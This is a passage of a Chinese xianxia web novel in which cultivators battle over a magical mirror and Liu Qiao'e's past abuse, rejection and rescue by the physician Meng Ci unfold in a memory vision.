这东西飞到空中,无风自转,不断将光灼灼,银烂烂的神光向四周泼洒。霎时间便将海面照得烂银一片,亮若白昼。 刘巧娥也同时退出丈余,血罗刹飞至她背后,嗡嗡震动着,竟脉分线悬般分成成百上千道的红线! 她仰头一望,心头咯噔一个轻跳。 溯世镜! 早听闻蓝淑英不放心仙盟守卫。 此前曾有太和宗长老建议先将溯世镜掉包,偷偷运出太和,却被蓝淑英断然否决。言道此法太不保险。 “仙盟之中仍有内鬼潜伏,我不知道他此人到底是谁,但必定身居高位。” 说完,她便力排众议,坚定将溯世镜日日夜夜随身携带。 如今看来,竟做不得假。 刘巧娥不能说蓝淑英t?说得是错,她在仙盟之中的确还有内应,若当初太和宗真将溯世镜运出,倒真便宜了他们行事,又何必今日来硬抢?! 溯世镜跳到空中,被它镜芒所照射到的人不论正邪,纷纷表现出一副浑浑噩噩,恍恍惚惚的神情。 这全是有溯世镜特性所致,其镜芒能照射出人之回忆过往,前世今生,凭此又折射出一块一块破碎的独立小型幻境。 修为高点的,用力一挣,或可挣脱。 那修为低劣点的,意念不坚定者,往往就会迷失在回忆的漩涡之中,成为失去神魂的傀儡了。 绕是慕道瑛也不由微微一个恍神。 江南烟雨萦绕着的童年,小寒山昼夜不断的落雪,他怀抱着的青年男人唇角不断呕出的鲜血,合欢宫的落花…… 一幕幕,一格格,飞快在眼前交织。 他短暂地迷失了一瞬,直到望见回忆中女人冷沉阴郁的身姿,翻飞雪白的裙摆。 慕道瑛这才如溺水出水一般,猛然回神,背后虚汗迭出! 一抬眼皮的功夫,刘巧娥竟又身化一道遁光,当空一跃,朝溯世镜抢去! 不妙。他心里一紧,放出逢春,同同样回过神来的赵言歌等人奋起直追! 刘巧娥并未分出眼角余光来对付他们,只放出血罗刹,任由红线泼洒。 红线瞻之在前,忽焉在后,一时快,一时慢,一时紧,一时松, 如有自我意识一般,飞旋出万丈红光,不断打退慕道瑛,赵言歌等人自四面八方而来的攻势。 蓝淑英容色肃穆,飞快捻指掐诀,令溯世镜的光辉,毕集成一束束光柱,一道一道,飞快朝刘巧娥射去。 光柱所笼罩之处,海水仿佛被烧穿了一个打洞,细浪沸腾,白沫不断将翻了肚皮的鱼儿推涌出海面。 刘巧娥足尖踏浪,闪转腾挪,尽量避免被镜芒照射。 此时此刻,她的眼底唯有那一面悬挂在夜空中的银色宝镜。 其灿灿光芒,竟令身边月色也黯然无光! 仙盟不知她如今还手握了返魂灯。 只差溯世镜。 刘巧娥心头狂跳,几乎要长啸出声! 只差溯世镜—— 她便能集齐三样道器,一偿自己多年以来的夙愿! 这么多年来,她辛苦筹谋,忍辱负重,乃至选择跟慕道瑛分道扬镳,都是为了今日! 镜芒无处不在,饶是她已竭力避免,将身形柔折得极为轻灵轻盈,恍若风中飞蓬,飘飘乎来去,却还是猝不及防,被镜芒燎烧了一小块肌肤,眼角掠过一重重破碎回忆。 回忆中,罗那吉笑得温文儒雅,慵懒嗓音犹回荡耳畔。 “返魂灯虽有活死人肉白骨之效,但正道坐拥返魂灯至今,却从未令一人复活。 “只因为,昔年,这生死秘法只掌握在我魔祖手中。” “你凭什么这么说?”她听到自己冷声问。 罗那吉笑道:“否则你当姜文昭为何杀不了魔祖?” “只要你助我集齐这三样道器,解开魔祖封印,我便用魔门流传下来的生死秘法,助你复活孟慈。” 孟慈! 刘巧娥心中默念!多年以来,这个名字被她深埋于心底,她不敢想,不敢念。 只要喊出这两个名字,便感受到那撕心裂肺,神魂共焚的痛楚! 可如今,她也能念出这两个字不是了么?! 自打蓝淑英放出溯世镜起,她的眼里便只剩下了这面宝镜! 镜光照射之下,她的修为还不至于令她如其他魔兵修士一般,骤然失去理智。 但咸腥的海风中仍不断有破碎的回忆顺她鬓角掠过。 每一道回忆,更令她坚定了斗志,义无反顾地冲向那面高悬于夜空的镜子! 光柱晃动得愈来愈剧烈,宽阔的海面之上,仿佛是天道竖下的道道立柱,困锁着那星小小的身影! 如此一来,刘巧娥不可避免被镜光照到了肌肤,被镜光照耀之处,登时如被火烧一般,烧得皮焦肉烂,鲜血直流。 她却恍若未觉,也未停顿,一边疾跃往前,一边放出山河剑!山河剑化作一条巨大的雪龙,在光柱间夭矫翻飞,撞碎一地乱银! 被烧焦的皮肤片片剥落,刘巧娥仍义无反顾,豁尽全身十成十的修为朝那面镜子猛冲! 蓝淑英见其偏执疯狂模样,心里也着实吃了一惊,飞快捻动指尖,竭力摇动镜光,令光柱不断照向刘巧娥,恍若横贯天地的囚笼。 祭出溯世镜,这是一步险棋。 两样道器之间斗争激烈,带来的压力反噬令蓝淑英胸口血气翻涌,吐出一口鲜血。 蓝淑英深知,她修为虽已臻至八境,可刘巧娥早在半年前便已快她一步入了破妄境。 反观她这个前辈,不得不在仙盟护持之下,才能勉强破镜,这实在令她汗颜。 其人之精进速度则更让她不寒而栗! 山河剑在手的刘巧娥,如今,几乎已傲视整个东华界。 她若不祭出溯世镜,到时若落败于她,镜子早晚还是会被她夺走,不若此时祭镜一搏! “慕小友!”蓝淑英一声高喝,“我运镜!你们去阻她!便是现在!” 她不像刘巧娥,曾修炼圣君残页,运使山河剑无碍。 催动溯世镜几乎已经耗尽了她全部的心力,着实分身乏术。 慕道瑛也知晓胜败皆在此一举,务必拦住刘巧娥! 这次决不能儿女情长,他的剑将在不得已的情况下洞穿她的心肺。 他将心神催动,本命逢春剑化一道流星,没入他体内!补全了他体内残存的剑骨! 慕道瑛眼睫一眨,感受到四肢百骸,全身骨骼传来的痛不欲生。 刹那间,乌发染白。 眼底冷冽华光流过,原本漆黑的眸子,刹那间变幻成淡若琉璃般的透明色泽,眼底隐约流转淡淡金色华光。 皙白的肌肤也泛起淡淡的诡异清玉色泽。 他浑身上下的气势也为之一变,四周隐约有极淡薄轻微的青金色剑气自走。 剑气游走的同时不断,放出一轮轮细如毫微的剑芒,所过之处,吹毛断发,切金断玉,月华也在他周身被割断,碎成片片银屑。 剑骨被挖之后,慕道瑛曾日夜思索研究自己的去路, 今日,便是他这半年来所研究出的最完美的替代。 那便是结合铸剑之阵,将自己也化作一柄剑,将逢春纳入体内,补全那一小节缺失的剑骨。 人剑合一,心念相通,他奋足一拔,身合一道剑气,直追刘巧娥而去! 距离溯世镜只有一尺之遥,却瞧见慕道瑛横空出世,浮起云端,挡住去路。 可想而知刘巧娥的去路。 同爱人的回忆被打断,她杏眼顿时爆发出一寸寸的戾气,令眼睫也染上寸霜拜,山河剑冰寒剑意席卷全身,汇成一道冲天的,不加掩饰的杀意! 刘巧娥字字顿顿,红线翻卷,遮蔽日月星辰,杀气冲天:“你又要拦我?!” “我会杀你。”慕道瑛简洁道,说着边将剑气浩荡排开。 琉璃眼眸,平静如镜, 两人心中都清楚。 这一次,不念任何旧情,唯有置对方于死地的杀意! 山河剑的剑气最先冲他脖颈扫来!剑气寸寸往下逼压,压得海面似乎也受不住这滔天灵压,剧烈地摇动起来,掀起翻天巨浪! 慕道瑛不敢直撄其锋,身形一闪再闪的功夫,便已闪现到另一个浪头。 这一喘息的功夫,一抬头,刘巧娥的身形便已经迫近溯世镜!指尖距离镜框唯有几尺之遥! 慕道瑛见状,飞快催动剑光,剑光排压出另一重巨浪,及时挡住刘巧娥的去路! 刘巧娥正要挥剑劈开巨浪,却忽然瞧见海浪之中隐约有细微银光闪烁。 只一闪,再闪,顿时剑芒如雨一轮爆射而出! 这海浪之中,竟被慕道瑛暗藏了千百道剑光。 若非她闪转及时,被这一轮剑光齐射下来,被洞穿成个筛子也并无可能。 刘巧娥并未有心情去责备这男人的狠心,她冷冷抬手,红线卷下每一道剑光,以彼之道还之彼身,朝着慕道瑛的方向铺天盖地甩了过去! 慕道瑛立刻运气一道海浪挡住,马不停蹄,继续直追刘巧娥。 好在这时,赵言歌等人也阻住了刘巧娥的去路。 他们虽然修为远不及刘巧娥,但这一合之力,威力也不容小觑。 这一阻,成功令刘巧娥慢了半拍。 慕道瑛也在这时追到了溯世镜前。 他二人几乎是同时伸手。 指尖相对。 然而就在这时,蓝淑英也终于支撑到了极点! 轰隆一声巨响!溯世镜突然光芒大作。 她灵气反噬,浑身筋骨尽碎,口吐鲜血,飞了出去。 溯世镜也在这时失去了支点,直坠入海底,撞碎雪浪浮波。 道器爆炸时带来的巨大冲击力,就连刘巧娥也不能抵御。 连同慕道瑛,刘巧娥,蓝淑英在内的所有t?人,一时之间,齐齐从云头跌落! 镜芒不断暴涨,吞噬了海面上所有的生灵。 就在镜芒将所有人都拉扯入幻境的刹那,慕道瑛跟刘巧娥因夺镜心切,又离溯世镜最近,几乎是一同坠落,竟然还能分出一线理智,在急坠过程中同时伸手探臂争夺溯世镜。 又闻轰然一声巨响。 他二人指尖一左一右,一同合握宝镜,坠入冰冷无尽的深海- 溯世镜撞碎雪波浮浪。 碎银如星一般不断浮了上来。 由无数魔人,修士的回忆构成的细小幻境,宛如摔碎的琉璃,折射出令人头晕目眩的光芒,不断扭曲、闪现、重合成光怪陆离的梦境。 慕道瑛的神魂在这扭曲荒诞的梦境之中飞快切换,快到耳畔如有风声大作,大脑头疼欲裂。似乎过了一瞬,又仿佛在无数人的梦境中度过了千千万世那么长。 最终呼啸的风声止息了。 画面最后定格在了一轮皎洁明亮的圆月。 月下,踯躅着一个少女,穿一件青色的衫子,雪肤乌发,肌肤丰润,杏眼圆脸,皓齿樱唇。 慕道瑛蓦然变色,心中一惊,下意识便作出预备攻击的防御姿态。 是刘巧娥?! 不对。 眼前的刘巧娥,并没有打算攻击他的意思。 她甚至没有抬头看他,只默默看向满地的月影乱银,似乎满腹心事。 慕道瑛这才觉察出不同之处。 眼前的刘巧娥,眼神更清澈,眉眼更天真,少了那慑人的瘦冷沉郁。 若说他所熟知的刘巧娥是枝头山月,清冷难攀。 此时的她,便是十五时的圆月。 少女皱着两道乌黑的眉,大大的杏眼忽闪忽闪,圆脸颊泛着莹润的微光,她眉眼间还含着少年的轻愁。玉蛾子一般的天真纯美。 慕道瑛微微一怔,结合落水前的见闻,不难推测出。 这是过去的刘巧娥。 或许是同握住了溯世镜的关系,他坠入了她的回忆。 刘巧娥的过去到底是什么样? 慕道瑛禁不住想,下一秒,又心底一凛,暗暗告诫自己,绝不可再儿女情长。 他闭上眼,轻轻告诉自己。 他如今对她无爱无恨,早无任何情意了。 “我当真认识慕道瑛!” 当听闻少女那一声坚定的清喝。 慕道瑛怔了怔,终是忍不住睁眼望去。 四五个合欢弟子,将刘巧娥团团围住。 她有些气怯了,只能不断重复。 “我当真认识玉剑丹心慕道瑛,真的。” 第57章 第 57 章 为何,偏偏让这世上所有…… 合欢宗的生活并没有她所想象的那般轻易。 她当初答应了老宫主, 无非是想借合欢宫为跳板,先行脱身再说。 合欢宗再怎么不堪,也好过留在云山宋氏, 继续去当宋迁的炉鼎。 宋迁是会拿炉鼎待客的,毕竟在修士眼中, 他们炉鼎算不得人,只是个可随手转让的物件。 而其中有些修士因为经历的年岁太久,对寻常的男女情爱也都提不起什么兴致, 非一些残忍至极的虐待而不能起兴, 常弄得鲜血横流,几近酷刑。 等那些炉鼎到了被采空的那一日,脱阴而亡, 被弃尸荒野的更是大有人在。 更有许多少年少女, 还未走到那一步,便已被逼疯了。 刘巧娥不想死, 她足够有野心, 胆子也够大,跟着老宫主活了下来。 直到又坠入了合欢宫这个地狱。这时的合欢宫,还不是日后那个在她治下游走于正邪之间的骑墙派。 这时的合欢宫,就是魔门。 身处云山宋氏的那段黑暗岁月, 还并未堙灭她的人性与良知。 她虽然没读过书, 但朴素的价值观却让她也知道什么是善恶,什么是正邪, 人应该择善, 从正,绝不是像合欢宫这样,同门之间的奸淫掳掠, 逼良为娼,比比皆是! 她天生极阴的炉鼎体质,甫一入宫,便招致了同门的觊觎。 老宫主要她主动屈服,从不帮她撑腰。 最开始,他们尚且还能装模做样,对她加以追求。 到之后,变成了威逼、恐吓、下药、打骂。 她也曾痛斥老天的不公。 贼老天,为何偏让她落入这样的魔门! 为何其他人都能拜入名门正道,去当戏文话本里的大侠。 偏偏她要落进一滩污臭的烂泥里! 她不曾伤害过任何一人,欺凌过任何弱小。 她仇恨这些魔头,恨不能变成故事里的大侠,长剑在手,斩妖除魔,杀尽一切魑魅魍魉,荡尽一切的邪祟! 可她也只能想想而已,这些只是她每天睡下之前,躺在床上发的大梦。 白日里,她还是那个唯唯诺诺,不敢高声说话的刘巧娥。 猝不及防被丢入个群狼环伺的环境,她只能绞尽脑汁,想尽一切办法保住自己的清白。 是,清白。哪怕她元阴已失,她仍固执地认为和宋迁的那次,不算她的初夜。 只要她不愿,她便仍是清清白白的。 在她的认知里,她的初夜是要留给自己的心上人。 她甚至暗暗决定了那个对象——慕道瑛。 每天晚上闭上眼,临睡觉前,她便在脑子里自己跟自己唱起了大戏。 将自己跟他的相识、相认、相知、相许都编排得明明白白。 他们在花树中相拥,在月亮下亲吻,他吻得她好深。 她离开了合欢宫,拜入了名门正道,成了举世闻名的大侠。 随他一起踏遍名山大川,赏过烟霞日月,他们在所有人的祝福下成亲。 那个少年,微微红着脸,挑起她的盖头。他动情地喊她:“巧娥——”便朝她扑了过来,将她一把抱住。 她推说不要,他却一个劲直使坏。 每每这个时候,她都会出一身的汗,心跳如擂,慌忙将头探出被褥里,大口地喘气。 合欢宗的生活太苦,来到合欢宗之后,她变着法地打探有关他的一切。 她听说他又去了何处何处,斩杀了何等强大的妖魔,她与有荣焉也地也感到那股少年意气风流。 她听说,他受了伤,她便成日里忧心忡忡,愁眉不展,担心地吃不好饭,也睡不好觉。 她听说,他结交了个游剑阁的女侠,叫沈澄因的,她回去便大哭了一场,掩饰不住内心的嫉妒。 明明,明明是她先来的!站在他身边的那个扶危济困,侠风义骨的女侠应该是她才对! 她在他未知的角落里,同他悲,同他喜,同他愁。 幻想得多了,她轻而易举地便能勾勒出他的眉眼神态,一颦一笑,一举一动,微凉的嗓音说的每一句话。 这种错误的幻想,模糊了她的认知,让她认为她跟他已然是最亲密的了。 他的道侣,应当是这个世界上最特别,最幸运的人。 而她那时恬不知耻,妄自尊大地认为,自己便是他所等待的那个最特别,最幸运的人。 当然,幻想慕道瑛的时候,带来的也不仅仅只有甜蜜。 当她瞧见合欢宫中那些亲密的爱侣时。 她不禁惆怅,他为何不在自己身边。 当她被众人围住欺凌的时候,她多么希望他能来救她这个道侣! 他翩然而落,用那柄足可让春风化绿,桃林染红的佩剑,出现在众人面前。 冷冷将那些人一一打退,再回过身来去牵她的手。 可是没有。 等她从幻想中骤然回神,面前仍是他们肆意的嘲笑与凌辱。 一日,她被逼急了,模糊了幻想跟现实的界限,她下意识脱口而出,她认识慕道瑛,他们完了! 他要是知道他们敢欺负她,一定会把他们的腿都打断! “那个大名鼎鼎的玉剑丹心?!” “虽说是同辈,可那少年剑骨天成,早已名震东华。”他们嘲笑说,朝她扑了上来。 “又岂是她这龟缩在合欢宫的蝼蚁草芥可以企及的高洁存在?! “叫啊,叫他来救你啊。怎么不叫了?” 那一天,是她无法言说的噩梦。 她拢着破碎的衣裳回了弟子房中,点燃了一盏小烛,伏在桌上痛苦,眼泪浸透了桌上深深浅浅的划痕。 慕道瑛,慕道瑛。 她反复念着他的名字 忍不住嚎啕大哭。 他怎么不来救她呢? 仗着那碗水之交,她便以为他们已经建立了极为微弱,又极为亲近的联系了。 他不是已经成了玉剑丹心了 他不是行侠仗义的君子之剑。 他们不是认识? 他为何不来救她? 慕道瑛慕道瑛慕道瑛,桌面早被她刻满他的名字。 每受过一次委屈,一次欺辱,她便回到屋里,一边哭,一边刻下他的名字。 划痕一道叠着一道,她反反复复,指腹使劲摸蹭着。 什么花树,细雪,道侣全都是假的!t?斑驳的墙面倒映出个孤零零的影子。 她的痴心妄想被残忍地打破了,他不会在别人成双成对时,翩然现身,牵起她的手。 更不会在她被人欺凌时来拯救她,替她撑腰。 因为他还不知道她。 这时, 她的脑海中忽然冒出个大胆的想法。 她为什么不离开合欢宗呢。这个污糟之地还有什么待下去的必要吗? 山不来就我,我便去就山。 她要去找他!与其在这里自怨自艾地腐烂下去,她宁愿付诸行动,死在逐光的道路上! 贼老天对她不公,那她便去硬碰一碰这天! 慕道瑛不知道她又如何,她难道不能主动去见他吗? 被丢进魔门又如何,她不能改投他派吗? 路途遥遥又如何,她没有长腿不会走吗? 她打听到了他会参加今年的春台问道。 她下定了决心,很快便收拾了自己寥寥无几的包袱,摸到这些年积攒的几块灵石,塞进鞋子里袜子边。她没有储物袋,只能用这种土办法,笨办法。 趁着一个深夜,她悄悄地离开了合欢宗。 她虽然身为修士,也曾一遍遍幻想自己成了闻名东华,与慕道瑛比肩的一剑惊天的仙子。 实际上她并不会斩妖除魔,除了引气入体,她甚至连最基本的术法神通也不懂,没有人教她这个。 她只会房中术,只懂得如何讨好男人,好让自己免受些苦楚。 所以她没办法利用修士的身份去赚钱。她只能一口气买上十几张烧饼,一路风餐露宿,累了饿了,就吃烧饼就白水。 她的鞋子也走破了,历经千辛万苦,终于走到了游剑阁。 剑阁开天门。 衣衫褴褛的她,小小的渺如一只蚂蚁,仰望那近乎贯通天地的剑山,云雾缭绕,浩气横流。 她浑身战栗,内心的震颤无法以言语来诉说。 她弯下腰从鞋子里摸出仅剩的几颗灵石,去客栈租了个房间,烧水洗漱。 忐忑不安地抿了抿鬓角散落的发丝,便向剑山出发了。 周围修士人来人往,她虽然已将自己收拾得整齐得体,却还觉得有些窘迫,心虚,扯扯袖口,感觉太短。 她浑身上下仿佛都透露着不合时宜,格格不入。 不过,还有几个男修见她漂亮,过来问她名姓呢。 她憋红了脸,不肯轻易露怯,让人小瞧了她去。 清清嗓子,学着戏文里大家闺秀的模样,颇为自矜,只道姓刘,不肯透露宗门家底。 那他呢?想到即将要见到慕道瑛,她又扯扯头发,又压抑不住内心的雀跃甜蜜了。 他会觉得她漂亮吗?刘巧娥忍不住想。 他会不会很惊讶,之前那个黑黑的,瘦小的村姑已经大变了模样! 少年一定会震惊地脸眼睛都震大了吧。 “是你?你怎么会——到这里来?” 她便快活,又大方地说,她也成了修士。 其他人都惊讶地看着她俩。 少年便说,这里不是叙旧的地方,容他二人先走一步。 他说,跟我来。 于是,他们理所应当地并肩慢悠悠走在山道上,叙起旧。 他应该是记得她的,毕竟修士的记忆力都很好。 而且,那天她送水的时候,他极为吃惊,脸红,显然对她有深刻印象呢。 她吃力地一步步向上爬,终于来到了“摇光”门前,她一眼便看到那个光风霁月,如竹如兰的少年! 乌发如水,眉眼如昼。那少年正温和地同身边的人说着什么,言辞轻柔得仿佛春风。 少年的观察力是极敏锐的,眼角余光一瞥,瞥见了她。 便止了声,公事公办地温言询问:“道友,春简。” 她突然一下子愣了起来。她太过忘情了,这才意识到自己其实并没有春简请帖。 她一路上光想着要见他,要拜入正道。 正道一定会欢迎自己的,毕竟戏文里都爱演那坏人被感化,放下屠刀的故事。 人们可欢迎这些改邪归正的坏人了,她甚至都不算坏,又没杀伤过人。 他们一定会感佩她对正道的向往。她太紧张了,嘴唇翕动着,肚子里飞快地酝酿着措辞,颠来倒去地想她应当如何介绍自己。 她嘴唇动动,久无答复,少年微含不解,“道友?” 她唇瓣仿佛被黏住了,心脏扑通扑通直跳,越着急,嘴里便越像含了团火,颠三倒四,说不出话来,“我……刘家村……” 少年微感讶异,耐心地又询问了一遍。 在询问几次仍没回应之后。 他细细地看了她好几眼,慢慢觉察出了不对劲,眉头也皱了起来。 这少女身上有几缕魔气散溢而出,很淡,若是寻常弟子或许难以觉察,但他灵性极为敏锐, 他收敛了唇角的温和,微微严肃了神情。 周围的弟子不解问:“宁瑕怎么回事?” 他摇摇头,正要张开嘴唇,又迟疑了一刹。 不知要不要如实以告。 这少女看着腼腆羞涩,却不像魔人。 可是几天之前,他们便接到了消息,言说魔门要搅乱这次春台问道。 魔人多狡,从前不是没有过魔人扮作老弱妇孺,柔弱无辜的模样,骗去了修士的信任,最终屠灭了一个小门派。 他今日既然负责检验春简请帖,便理当负责,公事公办。 岂可因一时心软,酿成大错? 少年摇摇头,最终还是轻声说:“此为魔。” 其他人齐齐一震,纷纷拔剑,露出肃穆神情。 “且慢。”那少年拦住他们,想了想,终是觉得不安,又补充了一句,“不要杀她,赶她走吧。” 她还没回过神来,脖子上便被冰冷的剑刃抵住了。 两三个弟子走过来,一人抵住她脖颈,一人抵着她后心。 “别动,”弟子晃着薄薄的剑刃威胁她,“狡猾魔人,还妄图混进咱们游剑阁?刀剑无眼,若你敢乱动,休怪我们割了你的脑袋!” 她整个人都愣住了,手心冰凉,浑身无措。 为什么会这样呢? 为什么,和她,想象得一点也不相同。 她这时也管不了这么多了,急得引颈踮脚忍不住朝他大喊,“我们见过的!你还记得我吗?我是刘家村——” 可少年早已经掠过她,低头检验其他人的请帖了。 她的话还没说完,就被那弟子厉斥道:“休得胡言乱语!否则割了你的舌头!” 她的话都被当成魔修的谎言。 她努力的分辨,也不过是魔修狡猾的证明。 “合欢宫?你们家那老头跟魔门不清不楚,眉来眼去。刚刚说你是魔人,你不肯认,怎地,现在又自爆家门了?” “一心向道?怎么早不来,晚不来,偏偏选在这个时候来?其心可诛!” 她眼前发黑,耳畔嗡嗡作响,天旋地转。 怎么会这样?他一点都不记得自己了吗? 慕宁瑕,慕道瑛,她心心念念的心上人…… 她的眼泪一下子夺眶而出。 终于意识到这一切不过是她的幻想,她太痛苦了,只能靠每天幻想天上那轮月亮度日,想得发了癫。 她自作多情,自以为是,自以为自己才是那个取代沈澄因、赵言歌等人站在他身边的女侠。 实际上,他压根就不认识自己! 什么春日飞花,仗剑风流。 她恍恍惚惚,如梦初醒,惊骇得出了一身的汗。 生活一下子又撕开了虚伪的表象,暴露出血淋淋的现实。 躺在血泊里的父母家人,躺在宋迁身下自己,合欢宫众人的欺辱…… 这才是她真真正正的人生。 凭什么?贼老天凭什么要这样对自己! 她幡然醒悟过来,愤恨,不平,怒骂。 弟子们近在耳畔的威胁,反勾动她骨子里的桀骜叛逆。 她恨透这老天,恨透这命运,恨透这世道,恨透他们所有人! 她的桀骜显然激怒了他们。 他们将她转交给其他护卫弟子。 他们中有家人死于魔人之手,愤怒烧毁了她的理智,恍惚间有人叫她闭嘴,她不肯。 他便伸掌来扇,闭嘴。 她仍不肯。 对魔人,尤其是企图混入春台问道,居心不良,不知悔改的魔人自然无需客气。 她的嘴脸被扇肿了,骨头被打断了,最后她倒在血泊里,奄奄一息了,被他们丢下了剑山一眼望不到底的悬崖。 她好痛好痛,被丢下悬崖的时候,她仍想活,她拼尽全力引导全身的真气,改变坠落的姿势,减轻坠落的冲击力。 她以为自己会当场昏死过去,却不知是不是内心冲天的怨气保有了她最后一缕神志。 她仍醒着,全身的骨头好像都摔断了。 她眼泪不断地从眼角涌出来,浸湿了鬓角t?干结了。 她想起了父母,小弟小妹。 那天也是这样。 妖怪来了,她娘为了护住她们先死了, 之后仙人来了,来了好几个仙人,他们跟那妖怪打架,说是来斩妖除魔,却连一星半点的眼角余光也没看他们这些凡人。 他们只顾打架,打得地动山摇,石头砸下来,房屋倒塌了,又砸死了好多人。 她爹和小弟也死了,只剩下小妹还活着。 小妹只留有一口气了,躺在血泊里,她抱着她,她意识已经不清了,嘴里哀叫着娘,娘,爹! 她说姐姐在呢。 小妹哭叫:姐!姐!疼啊!我疼啊! 她抱她在怀里,听她哀哀叫了小半个时辰才断了气。 如今,她也一样了。 原来小妹临死前是这样的。原来会这么疼。 娘啊,爹啊,她闭上眼,唇瓣颤动,想叫却叫不出来。 儿没做错任何事,为何,偏偏让这世上所有的苦楚都被儿吃尽了? 第58章 第 58 章 他叫孟慈,是个大夫。…… 可为什么回忆仍未结束。 这样的折磨, 到底要到何时方休呢。 她在悬崖下躺了一整夜,就在血几乎快要流干,意识也远去了, 人差一点,差一点就能跟父母团聚的时候。 有只微凉的手摸到了她。 那人是居住在附近的医师, 上山来采药的,崖下的草太深太密,她毫无声息, 人之将死, 他脚下一个趔趄,一不小心踩到了她,吓了一大跳。 拨开草丛, 倒吸了口冷气, 忙念了声阿弥陀佛,慌忙丢了药篓, 跪下身, 伸着两只手去摸她的鼻息,伤势。 “可怜人。” 他不忍地念着。 小心翼翼替她处理了伤势,扎了个草垫子,一步步, 颤颤巍巍将她拖回了家。 刚醒来的时候, 她像个死人。 怒火烧尽了,便成了死灰堆。 她不会说, 不会笑, 连眼皮也不动一下,只木然地望着头顶的房梁,任由那个人给自己换药。 那个人说话罗里吧嗦, 婆婆妈妈,每处理一处,便要倒吸了口凉气,念一句阿弥陀佛。 她本已心灰意冷,一心求死,却被他念得不得清净,忍无可忍。 终有一日,用尽全身力气,大骂了声:“闭嘴!” “啊哟!”那人吓了一大跳,怀里的瓶瓶罐罐洒了一大半。 没过一会儿,又露出又惊又喜的神色,凑上前来,两只清澈的眼里闪烁着感动:“你醒啦?你能说话了?阿弥陀佛,老天爷!” 刘巧娥额角绷出青筋,气得直想将这人送去见他的佛祖,手指却只能无力地动了动。 这是个书生打扮的少年,小鹿般的眼睛,生得很俊秀,但远不至于俊美出挑得令人一见难忘。 跟慕道瑛俊逸的容貌相比,他显得十分普通。 少年说,他叫孟慈,是个大夫- 最开始,刘巧娥恨透了孟慈。 恨他为何要救下她,为何要阻止她跟父母小弟小妹们重逢。 恨他像个老妈子一样,成天围着自己罗里吧嗦,苍蝇一般嗡嗡乱叫,“阿弥陀佛”来,“阿弥陀佛”去。 她对他恨,也是对这世上一切人一切事的恨。 她仇恨老天的不公,恨不得让这世上所有人都遭遇自己的苦痛。 恨不得这世上所有人都死了,她才觉得痛快,拍掌叫好呢。 但她更恨的是自己,恨自己自以为是,妄自尊大,把自己活成个村头大戏台子上的小丑。 她药也不肯喝一滴,成日里紧闭着嘴唇,一言不发,木然等死。 孟慈便说她戾气太重,每天换完药,便硬拉着她,坐在她面前对她念经。 她气得想要大叫!想要锤床,想要杀了这人! 却可恨身体动也不能动,只能听他嗡嗡乱念,念得耳朵都快起了茧子, 她从一开始的怒不可遏,到后来的无能狂怒,到最后的生无可恋,心如死灰。被包成个粽子一般,只露出两只无神的双眼。 他却高兴极了,觉得已经感化了她的戾气,念得愈发卖力了。 到后来,她能说话,能下床了,经常用最尖锐的话来刺他。 他却摇头说,可不能说这些话,又要念佛。 她恶狠狠说:“成天念你的佛,你怎么不干脆剃个光头去寺庙里当和尚?” 那人摸摸自己乌黑的长发,傻笑了几声,“和尚要剃发,我可舍不得。” “你去死吧!”她气得大叫- 她从来就没见过孟慈这么自以为是家伙! 能下地稍微走动之后,她就要走。 孟慈非不让,说她还没好透,就这样走,会留下病根的。 她说关你什么事。 他却说,她是他救回来的,命就是他的,她要对他这个大夫负责。 说话间,这小鹿般的少年严肃了神色,挡住了门扉,难得没再调笑,表现出了个大夫的威严。 好吧,好吧,反正她也无处可去了。 她忍气吞声,留在他的草庐。 日子一长,他发现她不识字,怕她无聊,兴致勃勃要教她认字。 那天,他翻箱倒柜,将柜子里的书扔了一地。 最开始是拿着医书,指着这上面的字一边教她念字,一边教她认草药。 “要是你以后又受了伤,就能自己采药啦。” 再往后,他便捧了本诗经来笑眯眯教她念关雎。 这是《诗》开场第一篇,任谁学《诗》总避不过去的。 “关关雎鸠,在河之洲,窈窕淑女,君子好逑。” 她老大不满:“嘴里叽里咕噜说啥呢,听不懂!” 少年浑然不知,且吟,且停,仿佛沉醉了。她被他酸出了一身的鸡皮疙瘩。 一曲念完了,他这才合上书微笑说:“这是男女恋爱的情歌,我念一句你跟我念一句可好?” 真是春天到了,他念着书也发起骚来,嗓音柔得几乎快滴水。她恶寒。 她虽然当过宋迁的炉鼎,之后又拜入合欢宫,但还是个从未体会过少年情爱的小姑娘。 孟慈用那含笑的,水润的,小鹿般的大眼,期待地望着她。 她便有些窘迫地烧红了脸。 最后到底还是没抵挡住他的眼神攻势,一把将书夺过,粗声粗气说:“我自己会念!” 少年哈哈大笑。 念了书,自然也要学写字。 她写得字又大又歪,虚浮无力。 “不对不对。”孟慈直摇头,干脆握着她的手,教她写。 “关关雎鸠,在河之洲,窈窕淑女,君子好逑。” 她一惊,丢了笔,不知道为什么,被握住的手有点发热,传染到脸上,连脸也开始发烫了。 他却习以为常。他照顾她病中照顾成习惯了,衣来伸手,饭来张口,洗澡喂饭,无微不至。 他还教她弹琴。 弹的是《凤求凰》。 琴棋书画,附庸风雅,眼前这一切竟当真如戏文里演的那些个才子佳人一样了。 头一次体会到小姐的滋味,她问他:“你不是个大夫吗?怎么又会写诗又会弹琴?”他说他其实是流落乡间的皇子,只是厌倦了荣华富贵,这才跑到乡野间当大夫。 她骂他不要脸,别青天白日的发癫。 最重要的是,她心里想,别跟她一样,做梦做得分不清现实了。一想到摇光门前那个俊朗如玉的少年,她心里便又隐隐作痛了。 他却笑笑不说话。 除此之外,他还时不时带她去庙里拜佛,去附近的村庄里施药行医。 他施药只收很少的钱,或者根本不收钱,附近村民见到他俩就跟见到了天菩萨。 每回她怀里都要被塞上一大堆的大白萝卜,大紫茄子。 山上的庙里,有个叫枯荣的和尚,跟他关系最好,闲着没事,他总爱拽着她去庙里跟那大和尚烹泉煮茶。 他们打些什么佛啊魔啊之类的机锋,说些俏皮话的时候,她就闲着无聊跑到花丛里扑蝴蝶。 孟慈看不惯她这样的清闲,非将她摁倒在蒲团上,让她一起念经打坐。 他说她戾气太重,要是入魔可就完了。 她怀疑:你还知道入魔? 孟慈一本正经说:其实我也是个修士。我会的可多着呢。 不管怎么说,她原本坚硬冰冷的心,也在他一声声阿弥陀佛,在附近村民们淳朴热切的关心之下,一点点融化了。 夜里,她看着月亮,心里忽然平静了下来。 她再也不奢望天上的月亮了。 这里的日子虽然平淡,但很安稳。 她也不要回合欢宫了,也不要修仙了,她的心气被彻彻底底磨平了,她甚至想,就这样留下来,给孟慈打个下手,当个学徒,种种田,养养鸡,过一辈子也不错。 日子就这样一天一天地过了下去。 